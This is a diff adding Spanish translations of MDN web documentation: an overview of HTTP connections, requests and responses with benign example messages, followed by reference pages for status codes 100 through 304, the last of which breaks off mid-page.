+<p>A partir del protocolo HTTP/1.1 la conexión, no se cierra al finalizar la tercera fase, y el cliente puede continuar realizando peticiones. Esto significa que la segunda y tercera fase, pueden repetirse cualquier número de veces.</p>
+
+<h2 id="Estableciendo_una_conexión">Estableciendo una conexión</h2>
+
+<p>En un protocolo cliente servidor, es siempre el cliente el que establece la conexión. Iniciar una conexión en HTTP, implica iniciar una conexión en el protocolo correspondiente a la capa de comunicación subyacente, que normalmente es TCP. </p>
+
+<p>En TCP el puerto por defecto, para un servidor HTTP en un computador, es el puerto 80. Se pueden usar otros puertos como el 8000 o el 8080. La URL de la página pedida contiene tanto el nombre del dominio, como el número de puerto, aunque este puede ser omitido, si se trata del puerto 80.  Véase la referencia de <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identificación de recursos en la Web</a> para más detalles.</p>
+
+<div class="note"><strong>Nota:</strong> El modelo cliente-servidor no permite que el servidor mande datos al cliente sin una petición explicita. Como solución parcial a este problema, los desarrolladores web, usan varias técnicas, como hacer un ping al servidor periódicamente, mediante {{domxref("XMLHTTPRequest")}}, {{domxref("Fetch")}} APIs, o usar la HTML  <a href="/en/WebSockets" title="en/WebSockets">WebSockets API</a> o protocolos similares.</div>
+
+<h2 id="Mandando_una_petición">Mandando una petición</h2>
+
+<p>Una vez la conexión está establecida, el cliente, puede mandar una petición de datos (normalmente es un navegador, u otra cosa, como una 'araña' ( o 'crawler' en inglés), un sistema de indexación automático de páginas web). La  petición de datos de un cliente HTTP, consiste en directivas de texto, separadas mediante CRLF (retorno de carro, y cambio de linea), y se divide en tres partes:</p>
+
+<ol>
+ <li>La primera parte, consiste en una linea, que contiene un método, seguido de sus parámetros:
+  <ul>
+   <li>la dirección del documento pedido: por ejemplo su URL completa, sin indicar el protocolo o el nombre del dominio.</li>
+   <li>la versión del protocolo HTTP</li>
+  </ul>
+ </li>
+ <li>La siguiente parte, está formada por un bloque de líneas consecutivas, que representan las cabeceras de la petición HTTP, y dan información al servidor, sobre que tipo de datos es apropiado (como qué lenguaje usar, o el tipo MIME a usar), u otros datos que modifiquen su comportamiento (como que no envié la respuesta si ya está cacheada). Estas cabeceras HTTP forman un bloque que acaba con una línea en blanco. </li>
+ <li>La parte final es un bloque de datos opcional, que puede contener más datos para ser usados por el método POST.</li>
+</ol>
+
+<h3 id="Ejemplo_de_peticiones">Ejemplo de peticiones</h3>
+
+<p>Si queremos una página web, como por ejemplo: <a class="linkification-ext external" href="/" title="Linkification: http://developer.mozilla.org/">http://developer.mozilla.org/</a>, y además le indicamos al servidor que se preferiría la página en Francés, si fuera posible:</p>
+
+<pre>GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
+
+</pre>
+
+<p>Observe la línea vacía al final, que separa el bloque de datos, del bloque de cabecera. Como no existe el campo <code>Content-Length</code> en la cabecera de HTTP, el bloque de datos está vacío, y ahí está el fin de la cabecera, permitiendo al servidor procesar la petición en el momento que recibe la línea vacía.</p>
+
+<p>Otro ejemplo, en el caso del envío de los datos de un formulario, la trama es:</p>
+
+<pre>POST /contact_form.php HTTP/1.1
+Host: developer.mozilla.org
+Content-Length: 64
+Content-Type: application/x-www-form-urlencoded
+
+name=Juan%20Garcia&amp;request=Envieme%20uno%20de%20sus%20catalogos
+</pre>
+
+<h3 id="Métodos_de_peticiones">Métodos de peticiones</h3>
+
+<p>HTTP define un conjunto de <a href="/en-US/docs/Web/HTTP/Methods">métodos de peticiones</a>  en los que se indican las acciones que se piden realizar al recibir un conjunto de datos. A pesar de que pueden referirse como 'nombres', estos métodos de petición, son denominados a veces como 'verbos' de HTTP.  La peticiones más comunes son  <code>GET</code> y <code>POST</code>:</p>
+
+<ul>
+ <li>El método {{HTTPMethod("GET")}} hace una petición de un recurso específico. Las peticiones con <code>GET</code> unicamente hacen peticiones de datos.</li>
+ <li>El método {{HTTPMethod("POST")}} envía datos al servidor de manera que este pueda cambiar su estado. Este es el método usado normalmente para enviar los datos de un  <a href="/en-US/docs/Web/Guide/HTML/Forms">formulario HTML</a>.</li>
+</ul>
+
+<h2 id="Estructura_de_la_respuesta_del_servidor">Estructura de la respuesta del servidor</h2>
+
+<p>Después de que el agente de usuario envía su petición, el servidor web lo procesa, y a continuación responde. De forma similar a la petición del servidor, la respuesta del servidor está formada por directivas de texto, separadas por el carácter CRLF, y divida en tres bloques.</p>
+
+<ol>
+ <li>La primera línea, es la línea de estado, que consiste en una confirmación del la versión de HTTP utilizado, y seguido por el estado de la petición (y una breve descripción de este, en formato de texto, que pueda ser leído por personas). </li>
+ <li>Las líneas siguientes representan cabeceras de HTTP concretas, dando al cliente información sobre los datos enviado( por ejemplo, sy tipo, su tamaño, algoritmos de compresión utilizados, y sugerencias para el cacheo). Al igual que las cabeceras HTTP de la petición de un cliente, las cabeceras HTTP del servidor, finalizan con una línea vacía.</li>
+ <li>El bloque final, es el bloque que puede contener opcionalmente los datos.</li>
+</ol>
+
+<h3 id="Ejemplos_de_respuestas">Ejemplos de respuestas</h3>
+
+<p>La respuesta correcta de una página web, es como sigue: </p>
+
+<pre>HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <em><strong>(aquí estarían los 29769 bytes de la página web pedida)</strong></em>
+
+</pre>
+
+<p>La respuesta para la petición de datos que han sido movidos permanentemente, sería: </p>
+
+<pre>HTTP/1.1 301 Moved Permanently
+Server: Apache/2.2.3 (Red Hat)
+Content-Type: text/html; charset=iso-8859-1
+Date: Sat, 09 Oct 2010 14:30:24 GMT
+Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(este es el nuevo enlace a los datos; se espera que el agente de usuario lo pida a continuación)</em></strong>
+Keep-Alive: timeout=15, max=98
+Accept-Ranges: bytes
+Via: Moz-Cache-zlb05
+Connection: Keep-Alive
+X-Cache-Info: caching
+X-Cache-Info: caching
+Content-Length: 325 <em><strong>(se da una página por defecto para mostrar en el caso de que el agente de usuario no sea capaz de seguir el enlace)</strong></em>
+
+&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt;
+&lt;html&gt;&lt;head&gt;
+&lt;title&gt;301 Movido permanentemente&lt;/title&gt;
+&lt;/head&gt;&lt;body&gt;
+&lt;h1&gt;Movido de forma permanente&lt;/h1&gt;
+&lt;p&gt;El documento ha sido movido &lt;a href="<a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a>"&gt;aquí&lt;/a&gt;.&lt;/p&gt;
+&lt;hr&gt;
+&lt;address&gt;Apache/2.2.3 (Red Hat) Servidor en: developer.mozilla.org Port 80&lt;/address&gt;
+&lt;/body&gt;&lt;/html&gt;
+
+</pre>
+
+<p>Una notificación de que los datos pedidos no existen:</p>
+
+<pre>HTTP/1.1 404 Not Found
+Date: Sat, 09 Oct 2010 14:33:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 May 2007 14:24:39 GMT
+ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1"
+Accept-Ranges: bytes
+Content-Length: 10732
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <strong><em>(contiene una página personalizada de ayuda al usuario para que pueda encontrar los datos que busca)</em></strong>
+
+</pre>
+
+<h3 id="Códigos_de_estado_de_las_respuestas">Códigos de estado de las respuestas</h3>
+
+<p>Los <a href="/en-US/docs/Web/HTTP/Status">códigos de estado de las respuestas</a> indican si una petición HTTP ha sido finalizada correctamente. Las respuestas se agrupan en cinco clases: respuestas informativas, respuestas de finalización correcta, redirecciones, errores del cliente y errores del servidor.</p>
+
+<ul>
+ <li>{{HTTPStatus(200)}}: OK. La petición ha sido procesada correctamente</li>
+ <li>{{HTTPStatus(301)}}: Datos movidos permanentemente. Este código de respuesta indica que la URI de los datos pedidos ha cambiado.</li>
+ <li>{{HTTPStatus(404)}}: Datos no encontrados. El servidor no puede localizar los datos pedidos. </li>
+</ul>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identificación de recursos en la Web</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Headers">Cabeceras HTTP</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">Métodos de petición HTTP</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Status">Códigos de estados de respuesta HTTP</a></li>
+</ul>
diff --git a/files/es/web/http/status/100/index.html b/files/es/web/http/status/100/index.html
new file mode 100644
index 0000000000..dad9e304c9
--- /dev/null
+++ b/files/es/web/http/status/100/index.html
@@ -0,0 +1,47 @@
+---
+title: 100 Continue
+slug: Web/HTTP/Status/100
+tags:
+  - Códigos de estado
+  - HTTP
+  - Informativa
+  - continue
+translation_of: Web/HTTP/Status/100
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de respuesta de estado informativo <strong><code>100 Continue</code></strong> indica que todo hasta ahora está bien y que el cliente debe continuar con la solicitud o ignorarlo si ya está terminado.</p>
+
+<p>Para que un servidor verifique los encabezados de la solicitud, un cliente debe enviar {{HTTPHeader("Expect")}}<code>: 100-continue</code> como encabezado en su solicitud inicial y recibe un código de estado <code>100 Continue</code> en respuesta antes de enviar el cuerpo.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">100 Continue</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.100")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Expect")}}</li>
+ <li>{{HTTPStatus(417)}}</li>
+</ul>
diff --git a/files/es/web/http/status/101/index.html b/files/es/web/http/status/101/index.html
new file mode 100644
index 0000000000..0b9c4556e5
--- /dev/null
+++ b/files/es/web/http/status/101/index.html
@@ -0,0 +1,56 @@
+---
+title: 101 Switching Protocols
+slug: Web/HTTP/Status/101
+tags:
+  - Códigos de estado
+  - Estados
+  - HTTP
+  - HTTP Status Code
+  - Información
+  - Referencia
+  - WebSockets
+translation_of: Web/HTTP/Status/101
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>El código de respuesta <code><strong>101 Switching Protocols </strong></code> que el servidor está cambiando de protocolo al solicitado por un cliente que mandó un mensaje incluyendo la cabecera {{HTTPHeader("Upgrade")}}.</div>
+
+<div> </div>
+
+<p>El servidor incluye en esta respuesta una cabecera {{HTTPHeader("Upgrade")}} para indicar a qué protocolo ha cambiado. El proceso se describe en detalle en el artículo<a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism"> Protocol upgrade mechanism</a>.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">101 Switching Protocols</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El cambio de protocolos se podría usar con <a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a>.</p>
+
+<pre>HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a></li>
+ <li><a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a></li>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+ <li>{{HTTPStatus("426")}} <code>Upgrade Required</code></li>
+</ul>
diff --git a/files/es/web/http/status/200/index.html b/files/es/web/http/status/200/index.html
new file mode 100644
index 0000000000..fda6c749f7
--- /dev/null
+++ b/files/es/web/http/status/200/index.html
@@ -0,0 +1,54 @@
+---
+title: 200 OK
+slug: Web/HTTP/Status/200
+tags:
+  - Codigo de Estado
+  - HTTP
+  - Éxito
+translation_of: Web/HTTP/Status/200
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span id="result_box" lang="es"><span>El código de respuesta de estado satisfactorio HTTP </span></span><strong><code>200 OK</code></strong><span lang="es"><span> indica que la solicitud ha tenido éxito.</span> <span>Una respuesta 200 es almacenable de forma predeterminada.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>El significado de un éxito depende del método de solicitud HTTP:</span></span></p>
+
+<ul>
+ <li>{{HTTPMethod("GET")}}: <span lang="es">El recurso ha sido recuperado y se transmite el mensaje al body</span>.</li>
+ <li>{{HTTPMethod("HEAD")}}: Los encabezados de entidad estan en el body del mensaje.</li>
+ <li>{{HTTPMethod("POST")}}: <span lang="es">El recurso que describe el resultado de la acción se transmite en el body del mensaje</span>.</li>
+ <li>{{HTTPMethod("TRACE")}}: El body del mensaje contiene el mensaje de solicitud tal como lo recibió el servidor.</li>
+</ul>
+
+<p>El resultado exitoso de un método {{HTTPMethod("PUT")}} o uno {{HTTPMethod("DELETE")}} no es a menudo un <code>200</code> <code>OK</code> sino un {{HTTPStatus("204")}} <code>No Content</code> (o un {{HTTPStatus("201")}} <code>Created</code> cuando el recurso es subido por primera vez).</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">200 OK</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Titulo</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">La tabla de compatibilidades en esta página se genera desde datos estructurados. Si quiere contribuir a con datos, porfavor vaya a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una pull request.</p>
+
+<p>{{Compat("http.status.200")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+</ul>
diff --git a/files/es/web/http/status/201/index.html b/files/es/web/http/status/201/index.html
new file mode 100644
index 0000000000..e3218daa76
--- /dev/null
+++ b/files/es/web/http/status/201/index.html
@@ -0,0 +1,41 @@
+---
+title: 201 Created
+slug: Web/HTTP/Status/201
+translation_of: Web/HTTP/Status/201
+---
+<p><span lang="es">El código de respuesta de estado de éxito creado HTTP </span><strong><code>201 Created</code></strong><span lang="es"> indica que la solicitud ha tenido éxito y ha llevado a la creación de un recurso. El nuevo recurso se crea efectivamente antes de enviar esta respuesta. y el nuevo recurso se devuelve en el cuerpo del mensaje, su ubicación es la URL de la solicitud o el contenido del encabezado de </span>la Ubicacion</p>
+
+<p><span lang="es">El caso de uso común de este código de estado es el resultado de una solicitud </span>metodo POST</p>
+
+<p> </p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">201 Created</pre>
+
+<h2 id="Especificaciones"><font><font>Especificaciones</font></font></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><font><font>Especificacion </font></font></th>
+   <th scope="col">Titulo</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "201 Created" , "6.3.2")}}</td>
+   <td>Protocolo de transferencia de hipertexto (HTTP / 1.1): Semántica y contenido</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores"><font><font>Compatibilidad entre navegadores</font></font></h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite https://github.com/mdn/browser-compat-data y envíenos una solicitud de extracción.</p>
+
+<p>{{Compat("http.status.201")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+</ul>
diff --git a/files/es/web/http/status/202/index.html b/files/es/web/http/status/202/index.html
new file mode 100644
index 0000000000..0580fd81e4
--- /dev/null
+++ b/files/es/web/http/status/202/index.html
@@ -0,0 +1,38 @@
+---
+title: 202 Aceptado
+slug: Web/HTTP/Status/202
+tags:
+  - Codigo de Estado
+  - HTTP
+  - Referencia
+  - Respuesta satisfactoria
+translation_of: Web/HTTP/Status/202
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de respueta de estado del Protocolo de Transferencia de Hipertexto (HTTP) <code><strong>202 Aceptado</strong></code> indica que la petición ha sido recibida pero que todavía no se ha actuado al respecto. Es libre, en el sentido de que no hay manera para el HTTP para enviar después una respuesta asíncrona indicando el resultado del procesamiento de la petición. Es pretendida para casos donde otro proceso o servidor maneje la petición, o para procesamiento por lotes.</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">202 Aceptado</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/es/web/http/status/203/index.html b/files/es/web/http/status/203/index.html
new file mode 100644
index 0000000000..0b5c036f83
--- /dev/null
+++ b/files/es/web/http/status/203/index.html
@@ -0,0 +1,45 @@
+---
+title: 203 Non-Authoritative Information
+slug: Web/HTTP/Status/203
+tags:
+  - Códigos de respuesta
+  - Códigos de respuestas HTTP
+  - HTTP
+  - Referências
+  - Respuesta satisfactoria
+translation_of: Web/HTTP/Status/203
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de respueta de estado del Protocolo de Transferencia de Hipertexto (HTTP) <strong><code>203 Non-Authoritative Information</code></strong> indica que la peticion fue satisfactoria pero su contenido ha sido modificado por un transformador {{Glossary("Proxy server", "proxy")}} desde los origenes del servidor {{HTTPStatus("200")}} (<code>OK</code>) </p>
+
+<p>El código de respuesta <code>203</code> es similar al código <code><a href="/en-US/docs/Web/HTTP/Headers/Warning#Warning_codes">214</a></code>, quiere decir <code>Transformation Applied</code>, of the {{HTTPHeader("Warning")}} header code, que tiene la ventaja adicional de estar disponible para las respuestas con cualquier código.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">203 Non-Authoritative Information</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus("200")}}</li>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Warning")}}</li>
+</ul>
diff --git a/files/es/web/http/status/206/index.html b/files/es/web/http/status/206/index.html
new file mode 100644
index 0000000000..38fceffa23
--- /dev/null
+++ b/files/es/web/http/status/206/index.html
@@ -0,0 +1,79 @@
+---
+title: 206 Partial Content
+slug: Web/HTTP/Status/206
+translation_of: Web/HTTP/Status/206
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El  codigo de respuesta con estado exitoso HTTP <strong><code>206 Partial Content</code></strong> indica que la solicitud se ha realizado con exito y el cuerpo contiene los rangos solicitados de la data, como esta descrito en la cabecera  {{HTTPHeader("Range")}} de la solicitud.</p>
+
+<p>Si solo hay un rango, el {{HTTPHeader("Content-Type")}} de toda la respuesta es asignada a un tipo de documento, y un {{HTTPHeader("Content-Range")}} es provisto.</p>
+
+<p>Si muchos rangos son retornados, el {{HTTPHeader("Content-Type")}}  es asignado a <code>multipart/byteranges</code> y cada fragmento cubre un rango, con {{HTTPHeader("Content-Range")}} y  {{HTTPHeader("Content-Type")}} describiendolo .</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">206 Partial Content</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Una respuesta conteniendo un solo rango:</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Range: bytes 21010-47021/47022
+Content-Length: 26012
+Content-Type: image/gif
+
+... 26012 bytes of partial image data ...</pre>
+
+<p>Una respuesta conteniendo varios rangos:</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Length: 1741
+Content-Type: multipart/byteranges; boundary=String_separator
+
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 234-639/8000
+
+...the first range...
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 4590-7999/8000
+
+...the second range
+--String_separator--</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.206")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+</ul>
diff --git a/files/es/web/http/status/301/index.html b/files/es/web/http/status/301/index.html
new file mode 100644
index 0000000000..496fb038f3
--- /dev/null
+++ b/files/es/web/http/status/301/index.html
@@ -0,0 +1,54 @@
+---
+title: 301 Movido Permanentemente
+slug: Web/HTTP/Status/301
+translation_of: Web/HTTP/Status/301
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The HyperText Transfer Protocol (HTTP) <code><strong>301 Moved Permanently</strong></code> redirect status response code indicates that the resource requested has been definitively moved to the URL given by the {{HTTPHeader("Location")}} headers. A browser redirects to this page and search engines update their links to the resource (in 'SEO-speak', it is said that the 'link-juice' is sent to the new URL).</p>
+
+<p>Even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents align with it - you can still find this type of bugged software out there. It is therefore recommended to use the <code>301</code> code only as a response for {{HTTPMethod("GET")}} or {{HTTPMethod("HEAD")}} methods and to use the {{HTTPStatus("308", "308 Permanent Redirect")}} for {{HTTPMethod("POST")}} methods instead, as the method change is explicitly prohibited with this status.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">301 Moved Permanently</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="Client_request">Client request</h3>
+
+<pre>GET /index.php HTTP/1.1
+Host: www.example.org</pre>
+
+<h3 id="Server_response">Server response</h3>
+
+<pre>HTTP/1.1 301 Moved Permanently
+Location: http://www.example.org/index.asp</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "301 Moved Permanently" , "6.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("http.status.301")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus("308", "308 Permanent Redirect")}}</li>
+ <li>{{HTTPStatus("302", "302 Found")}}, the temporary redirect</li>
+</ul>
diff --git a/files/es/web/http/status/302/index.html b/files/es/web/http/status/302/index.html
new file mode 100644
index 0000000000..d778ed9346
--- /dev/null
+++ b/files/es/web/http/status/302/index.html
@@ -0,0 +1,50 @@
+---
+title: 302 Found
+slug: Web/HTTP/Status/302
+tags:
+  - Códigos de estado
+  - HTTP
+  - Referencia
+  - redirecciones
+translation_of: Web/HTTP/Status/302
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El código de estado de redirección HTTP <code><strong>302 Found</strong></code>  indica que el recurso solicitado ha sido movido temporalmente a la URL dada por las cabeceras {{HTTPHeader("Location")}}. Un navegador redirecciona a esta página, pero los motores de búsqueda no actualizan sus enlaces al recurso ( hablando en lenguaje SEO, se suele decir que  el link juice no es enviado a la nueva URL).</p>
+
+<p>Incluso si la especificación requiere el método, y el cuerpo, no debe ser alterado cuando la redirección se completa, no todos los user-agents se conforman aquí, y tu puedes encontrar software inestable por ahí. Por la tanto se recomienda poner el código <code>302</code>  sólo como respuesta a los métodos {{HTTPMethod("GET")}} o {{HTTPMethod("HEAD")}} , y usar  en cambio {{HTTPStatus("307")}} <code>Temporary Redirect</code> , ya que el método de cambio está explicitamente prohibido en ese caso.</p>
+
+<p>En casos en los que quieras que el método usado para cambiar a {{HTTPMethod("GET")}},  usa {{HTTPStatus("303")}} <code>See Other</code>. Esto es práctico cuando quieres dar una respuesta al método {{HTTPMethod("PUT")}}  que no es el recurso subido, pero sí un mensaje de confirmación (como "Has subido satisfactoriamente XYZ").</p>
+
+<h2 id="Estado">Estado</h2>
+
+<pre class="syntaxbox">302 Found</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_navegadores">Compatibilidad navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.302")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>{{HTTPStatus("307")}} <code>Temporary Redirect</code>,  el equivalente a este código de estado, pero que nunca cambia el método usado.</li>
+ <li>{{HTTPStatus("303")}} <code>See Other</code>, una redirección temporal que cambia el método usado a {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("301")}} <code>Moved Permanently</code>, la redirección permanente.</li>
+</ul>
diff --git a/files/es/web/http/status/304/index.html b/files/es/web/http/status/304/index.html
new file mode 100644
index 0000000000..b868e3da50
--- /dev/null
+++ b/files/es/web/http/status/304/index.html
@@ -0,0 +1,56 @@
+---
+title: 304 Not Modified
+slug: Web/HTTP/Status/304
+translation_of: Web/HTTP/Status/304
+---
+<div> </div>
+
+<div>El código HTTP de redirección  <code><strong>304 Not Modified</strong></code> en el response de la petición indica que no hay necesidad de retransmitir los recursos solicitados. Es una redirección implícita a un elemento/recurso de caché.</div>
+
+<div>Esto sucede cuando el método de la solicitud es {{glossary("seguro")}} ({{glossary("safe")}}), como en el las peticiones con métodos {{HTTPMethod("GET")}} o {{HTTPMethod("HEAD")}}, o cuando el request (petición) está condicionada y usa la cabecera {{HTTPHeader("If-None-Match")}} o un {{HTTPHeader("If-Modified-Since")}}</div>
+
+<div>El response {{HTTPStatus("200")}} <code>OK</code> habría incluido los encabezados {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}}, y {{HTTPHeader("Vary")}}.</div>
+
+<div> </div>
+
+<div class="note">
+<p>Muchos <a href="/en-US/docs/Tools/Network_Monitor">developer tools' network panels</a> (paneles de red de desarrollo) de los navegadores crean extraños request que conducen a un "response(respuesta del servidor) <code>304</code> ", entonces el acceso al caché local es accesible a los desarrollodares.</p>
+</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">304 Not Modified</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
